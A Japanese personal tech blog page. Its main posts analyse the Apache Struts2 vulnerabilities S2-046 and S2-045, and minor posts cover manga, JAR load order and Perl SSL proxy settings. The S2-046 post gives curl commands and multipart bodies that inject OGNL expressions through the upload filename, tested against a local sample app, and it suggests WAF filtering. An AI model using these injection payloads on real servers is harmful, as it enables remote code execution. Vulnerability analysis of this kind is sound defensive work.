てきとうなメモ

本の感想とか技術メモとか

Struts2の脆弱性(S2-046)

S2-045の話は既に書いたけども、S2-046は書いていなかったのでちょっと書く。

↓のやつ。

Struts2-046: A new vector - Hewlett Packard Enterprise Community

この脆弱性は、以下の3つの条件に合う場合、マルチパートのアイテムのファイル名に記述されたOGNL式が実行される。

  • multipartのparserとしてJakartaStreamMultipartRequestを利用している場合
  • Content-Lengthを制限値(デフォルトは2MB)より大きく設定する
  • マルチパートのアイテムのContent-Dispositionヘッダのファイル名の部分にOGNL式を入れる

実際にこの脆弱性を確認してみる。

脆弱性のあるバージョンのstruts(以下では2.3.11を利用した)を含んだサンプルアプリstruts2-blankに対して、JakartaStreamMultipartRequestを利用するように設定し、HPの例をそのまま使ってcurlコマンドで実行する。

curl -H 'Content-Length: 10000000' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample.txt  http://localhost:8080/struts2-blank/example/HelloWorld.action

sample.txtの中身は

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain

Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

ヘッダ部分の改行コードは\r\nにする必要があるので注意。

これを実行すると、マルチパートリクエストをparseするため、JakaraStreamMultipartRequest.parseが実行される。

public void parse(HttpServletRequest request, String saveDir)
        throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (Exception e) {
        e.printStackTrace();
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage))
            errors.add(errorMessage);
    }
}

parseの中で以下のprocessUploadが呼ばれる。

    private void processUpload(HttpServletRequest request, String saveDir)
            throws Exception {

        // Sanity check that the request is a multi-part/form-data request.
        if (ServletFileUpload.isMultipartContent(request)) {

            // Sanity check on request size.
            boolean requestSizePermitted = isRequestSizePermitted(request);

isRequestSizePermittedでContentLengthが制限値を超えていないかチェックされ、その真偽値がrequestSizePermittedに入る。

そして、各マルチパートのアイテムを1つずつ処理していく。

FileItemIterator i = servletFileUpload.getItemIterator(request);

// Iterate the file items
while (i.hasNext()) {
    try {
        FileItemStream itemStream = i.next();

        // If the file item stream is a form field, delegate to the
        // field item stream handler
        if (itemStream.isFormField()) {
             processFileItemStreamAsFormField(itemStream);
        }

        // Delegate the file item stream for a file field to the
        // file item stream handler, but delegation is skipped
        // if the requestSizePermitted check failed based on the
        // complete content-size of the request.
        else {

            // prevent processing file field item if request size not allowed.
            // also warn user in the logs.
            if (!requestSizePermitted) {
                addFileSkippedError(itemStream.getName(), request);
                LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
                continue;
            }

            processFileItemStreamAsFileField(itemStream, saveDir);
        }
        ...

ファイルアップロードの場合はrequestSizePermittedがチェックされており、これがfalseの場合はaddFileSkippedErrorが呼ばれる。ここで、itemStream.getName()はCotent-Dispositionのファイル名を返すので、OGNL式を含むものになる。

addFileSkippedErrorは以下のようなメソッドで"Skipped file <ファイル名>; request size limit exceeded."という例外を作成し、buildErrorMessageを呼ぶ。

private void addFileSkippedError(String fileName, HttpServletRequest request) {
    String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded.";
    FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize);
    String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize});
    if (!errors.contains(message))
        errors.add(message);
}

buildErrorMessageは以下のメソッドで、エラーメッセージを引数にLocalizedTextUtil.findTextを呼び出し、これがS2-045でもあったようにOGNL式を実行してしまう。

private String buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.message.upload.error." + e.getClass().getSimpleName();
    if (LOG.isDebugEnabled())
        LOG.debug("Preparing error message for key: [#0]", errorKey);
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}

アップロードファイルのサイズの制限を超える→「〇〇というファイルが制限値を超えた」という例外を作成(実は〇〇にOGNLが含まれている)→ローカライズメソッドを呼ぶ→OGNL実行という流れである。

さらに、S2-046には以下で指摘されている若干異なる攻撃経路がある。

GitHub - pwntester/S2-046-PoC: S2-046-PoC

こちらはContent-Lengthは2KBを超えている必要はないので以下のコマンドで良い。

$ curl -v -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample2.txt  http://localhost:8080/struts2-blank/example/HelloWorld.action

sample2.txtは先程のsample.txtを少し修正する。

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}<\0>b"
Content-Type: text/plain

Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

ファイル名にOGNL式を入れるのは同じだが、\0のバイトを含むようにする。

今回はrequestSizePermittedがtrueになるので、processFileItemStreamAsFileFieldに進む。

private void processFileItemStreamAsFileField(FileItemStream itemStream, String location) {
    // Skip file uploads that don't have a file name - meaning that no file was selected.
    if (itemStream.getName() == null || itemStream.getName().trim().length() < 1) {
        LOG.debug("No file has been uploaded for the field: {}", itemStream.getFieldName());
        return;
    }

itemStream.getName()でアイテムのファイル名を取得しているのだが、その中でファイル名のチェックが実施される。

この部分はcommons-fileuploadのorg.apache.commons.fileupload.util.Streams.checkFileNameにある。

public static String checkFileName(String fileName) {
    if (fileName != null  &&  fileName.indexOf('\u0000') != -1) {
        // pFileName.replace("\u0000", "\\0")
        final StringBuilder sb = new StringBuilder();
        for (int i = 0;  i < fileName.length();  i++) {
            char c = fileName.charAt(i);
            switch (c) {
                case 0:
                    sb.append("\\0");
                    break;
                default:
                    sb.append(c);
                    break;
            }
        }
        throw new InvalidFileNameException(fileName,
                "Invalid file name: " + sb);
    }
    return fileName;
}

このチェックは\0が含まれるかどうかをチェックし、"\\0"に置き換えて"invalid file name: <ファイル名>"というメッセージの例外を投げる。

この例外は、一番最初のJakartaStreamMultipartRequest.parseの中のtry catchでキャッチされ、buildErrorMessageに投げられ、LocalizedTextUtil.findTextに投げるのでファイル名に含まれるOGNLが実行される。

こっちは、Content-Dispositionのファイル名に\0を含む→commons-fileuploadが「ファイル名がおかしい: <ファイル名>」という例外を投げる→struts2が例外をキャッチして、ローカライズメソッドを呼ぶ→ファイル名に含まれるOGNLが実行されるという流れ。

どちらも、S2-045の修正ではローカライズする時に該当するキーが存在しない場合はデフォルトのメッセージをローカライズするようなコードになっているので、S2-045の修正を入れていれば大丈夫。しかし、WAFでの対応にしているとチェックするヘッダが異なるので、ルールを変えていかないといけない。

まあ、WAFに頼るよりかは最新版にした方が良いかな。

Struts2の脆弱性(S2-045, CVE-2017-5638)

だいぶまとめられているので私が書くことはあまりなさそうな。

piyokangoさんのまとめ

Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた - piyolog

こちらに解析されている方がいて詳しい

Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した - R42日記

ただ、

見ての通り、LocalizedTextUtilはもう使われていないのでセーフです。

はちょっとちがくて、修正後のコードのtextProviderの中でLocalizedTextUtilは呼ばれているけど、デフォルトのメッセージ「struts.messages.error.uploading」を取得していて、外部からの入力を利用していないのでセーフになる。

あと、WAFで防ぐ場合はContent-Typeヘッダに%{...}や${...}を含むものを弾けば良いかな。この部分がOGNL式として解釈されるので。PoCは%{...}のものが多いけども、コード的には両方必要。

(追記) Content-Typeについてだけ書いたが、S2-046の件もあるので、Content-DispositionやContent-Lengthをチェックする必要もある

ドキュメントには${...}しか書いていないようだけども。

LocalizedTextUtil (Struts 2 Core 2.5-BETA1 API)

If a message is found, it will also be interpolated. Anything within ${...} will be treated as an OGNL expression and evaluated as such.

2016年面白かった漫画

年明けちゃったけど

軍靴のバルツァー 9 (BUNCH COMICS)

軍靴のバルツァー 9 (BUNCH COMICS)

主人公が自分の権限と利害関係の中でどのような選択をしていくかという部分が面白い。

メガネ君が使えるようになってきて、頭脳戦が面白くなってきたのだけども、休載になってしまうとはなあ

エリア51 13 (BUNCH COMICS)

エリア51 13 (BUNCH COMICS)

この神様殺しちゃうのかという流れにちょっと驚いた

安定して面白い。ちょっとマンネリ感はあるけど。

クイ研熱いし、単純に知識だけではなく、運だとか駆け引きもあって面白い

委員長がいなくなったのは残念だが、そろそろ終了するのかな。

氷菓(10)<氷菓> (角川コミックス・エース)

氷菓(10)<氷菓> (角川コミックス・エース)

原作長編ではこのエピソードが一番すきかな。
里志と摩耶花が主人公な感じで。

えぐい。だが面白い。

1年生もキャラが立ってきて、薙刀漫画というよりかは部活漫画という面も強くなってきて良い。

連載終了

並行して連載されたものが多かったけども、最後までしっかりと描ききったな。
他のはちょっと尻切れになってしまっているので。ブームが過ぎちゃっているので仕方ないが。

水上悟志作品が続けて終わった。
スピリットサークルの未来編が好きだったな

この表紙はずるい

あの終わり方に納得がいかない人もいるっぽいけど、私は結構好きだな。
終わったと思ったらamazonに9巻がある。

獣の奏者(11)<完> (シリウスKC)

獣の奏者(11)<完> (シリウスKC)

絵柄が非常に合っていた。

ServletのWEB-INF/libのjarが読み込まれる順番

同じライブラリのjarがバージョン別でWEB-INFに置かれていた場合、どっちが読まれるのかなという話。

のPDFの「4.6. Resources」のところ、

The order in which the JAR files in the WEB-INF/lib directory are scanned is undefined.

とあるので、読み込まれる順序は未定義のようだ。tomcat8.5辺りの実装を見てもjava.io.File.listを使っているようなので、これまた順序は未定義。

LWP::UserAgentでHTTPS proxy越し通信(Cent OS 6)

LWP::UserAgentでHTTPSプロキシ越しに通信する - Qiita

## ** See https://metacpan.org/module/Net::HTTPS
## Force use of Net::SSL instead of IO::Socket::SSL
$ENV{PERL_NET_HTTPS_SSL_SOCKET_CLASS} = 'Net::SSL';

の部分を実施せずにうまくいっていたのだが、最近はダメっぽい。

昔のコード(perl-libwww-perl-5.833-2.el6.x86_64のNet/HTTPS.pm)だと以下のようにNet::SSL(Crypt::SSLeayに含まれる)があるとIO::Socket::SSLがあってもNet::SSLを利用していたのに

# Figure out which SSL implementation to use
if ($SSL_SOCKET_CLASS) {
    # somebody already set it
}
elsif ($Net::SSL::VERSION) {
    $SSL_SOCKET_CLASS = "Net::SSL";
}
elsif ($IO::Socket::SSL::VERSION) {
    $SSL_SOCKET_CLASS = "IO::Socket::SSL"; # it was already loaded
}
else {
   ...
}

今のコード(perl-libwww-perl-5.833-3.el6.x86_64のNet/HTTPS.pm)だと以下のようにIO::Socket::SSLが存在すると、Net::SSLが存在していても、IO::Socket::SSLを使ってしまうようだ。

if ($SSL_SOCKET_CLASS) {
    # somebody already set it
}
elsif ($SSL_SOCKET_CLASS = $ENV{PERL_NET_HTTPS_SSL_SOCKET_CLASS}) {
    unless ($SSL_SOCKET_CLASS =~ /^(IO::Socket::SSL|Net::SSL)\z/) {
        die "Bad socket class [$SSL_SOCKET_CLASS]";
    }   
    eval "require $SSL_SOCKET_CLASS";
    die $@ if $@; 
}
elsif ($IO::Socket::SSL::VERSION) {
    $SSL_SOCKET_CLASS = "IO::Socket::SSL"; # it was already loaded
}
elsif ($Net::SSL::VERSION) {
    $SSL_SOCKET_CLASS = "Net::SSL";
}
else {
    ...
}

Kindle Unlimitedで良さげな技術書

読んでないもの多いけど漁ってみた。独断と偏見で。

(2016/08/12 追記) 今確認するとほとんどUnlimitedではなくなっている(´・ω・`)

絵本シリーズ

アルゴリズムの絵本 プログラミングが好きになる9つの扉

アルゴリズムの絵本 プログラミングが好きになる9つの扉

パソコンの仕組みの絵本

パソコンの仕組みの絵本

Rubyの絵本 スクリプト言語を楽しく学ぶ9つの扉

Rubyの絵本 スクリプト言語を楽しく学ぶ9つの扉

HTML5の絵本

HTML5の絵本

Visual Basicの絵本

Visual Basicの絵本

Objective-Cの絵本

Objective-Cの絵本

VBAの絵本 VBAが楽しくわかる9つの扉

VBAの絵本 VBAが楽しくわかる9つの扉

Androidの絵本 スマートフォンアプリ開発を始める9つの扉

Androidの絵本 スマートフォンアプリ開発を始める9つの扉

UNIXの絵本 UNIXが楽しくわかる9つの扉

UNIXの絵本 UNIXが楽しくわかる9つの扉

ASP.NET の絵本

ASP.NET の絵本

Cの絵本 C言語が好きになる9つの扉

Cの絵本 C言語が好きになる9つの扉

TCP/IPの絵本 ネットワークが面白くなる9つの扉

TCP/IPの絵本 ネットワークが面白くなる9つの扉

Perlの絵本 Perlが好きになる9つの扉

Perlの絵本 Perlが好きになる9つの扉

C++の絵本

C++の絵本

OSの仕組みの絵本

OSの仕組みの絵本

SQLの絵本 データベースがみるみるわかる9つの扉

SQLの絵本 データベースがみるみるわかる9つの扉

アルゴリズムの絵本 プログラミングが好きになる9つの扉

アルゴリズムの絵本 プログラミングが好きになる9つの扉

C#の絵本

C#の絵本

インターネット技術の絵本

インターネット技術の絵本

PHPの絵本

PHPの絵本

Javaの絵本 増補改訂版

Javaの絵本 増補改訂版

JavaScriptの絵本 ホームページ作りが楽しくなる9つの扉

JavaScriptの絵本 ホームページ作りが楽しくなる9つの扉

教科書シリーズ

よくわかるJavaScriptの教科書 教科書シリーズ

よくわかるJavaScriptの教科書 教科書シリーズ

プログラミング入門

Cプログラミング入門以前

Cプログラミング入門以前

コンピュータープログラミング入門以前

コンピュータープログラミング入門以前

Go言語

スターティングGo言語

スターティングGo言語

Python

基礎Python 基礎シリーズ

基礎Python 基礎シリーズ

Rails

実践Ruby on Rails 4 機能拡張編

実践Ruby on Rails 4 機能拡張編

OpenCV

OpenCV 3 プログラミングブック

OpenCV 3 プログラミングブック

GPUプログラミング

CUDA C プロフェッショナル プログラミング impress top gear

CUDA C プロフェッショナル プログラミング impress top gear

フロントエンド

フロントエンドエンジニアのための現在とこれからの必須知識

フロントエンドエンジニアのための現在とこれからの必須知識

HTML&CSS 標準デザイン講座【HTML5&CSS3対応】

HTML&CSS 標準デザイン講座【HTML5&CSS3対応】

ゲームで学ぶJavaScript入門 HTML5&CSSも身につく!

ゲームで学ぶJavaScript入門 HTML5&CSSも身につく!

ゲーム開発

Kinectv2楽しいプログラミング入門 (NextPublishing)

Kinectv2楽しいプログラミング入門 (NextPublishing)

uGUIではじめるUnity UIデザインの教科書

uGUIではじめるUnity UIデザインの教科書

Raspberry Pi

Raspberry Piでデジカメを作ろう!

Raspberry Piでデジカメを作ろう!

ショートコーディング

機械語

31バイトでつくるアセンブラプログラミング ?アセンブラ短歌の世界?

31バイトでつくるアセンブラプログラミング ?アセンブラ短歌の世界?

0と1のコンピュータ世界 バイナリで遊ぼう!

0と1のコンピュータ世界 バイナリで遊ぼう!

Git

Web制作者のためのGit入門

Web制作者のためのGit入門

Linux運用

CentOS 7実践ガイド

CentOS 7実践ガイド

インフラ/Docker

DevOpsを支えるHashiCorpツール大全 Think IT Books

DevOpsを支えるHashiCorpツール大全 Think IT Books

Dockerコンテナ実践検証 (Think IT Books)

Dockerコンテナ実践検証 (Think IT Books)

Docker実践ガイド

Docker実践ガイド

データベース

SQL ゼロからはじめるデータベース操作

SQL ゼロからはじめるデータベース操作

セキュリティ

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方

食べる!SSL! ―HTTPS環境構築から始めるSSL入門

食べる!SSL! ―HTTPS環境構築から始めるSSL入門

AI

マッチ箱の脳(AI)―使える人工知能のお話

マッチ箱の脳(AI)―使える人工知能のお話

位置情報技術

位置情報ビッグデータ (NextPublishing)

位置情報ビッグデータ (NextPublishing)

OS

Excel

10倍ラクして成果を上げる 完全自動のExcel術

10倍ラクして成果を上げる 完全自動のExcel術

「あるある」で学ぶ 忙しい人のためのExcel仕事術 (できるビジネスシリーズ)

「あるある」で学ぶ 忙しい人のためのExcel仕事術 (できるビジネスシリーズ)

わずか5分で成果を上げる 実務直結のExcel術

わずか5分で成果を上げる 実務直結のExcel術

その他

Think Simple ―アップルを生みだす熱狂的哲学

Think Simple ―アップルを生みだす熱狂的哲学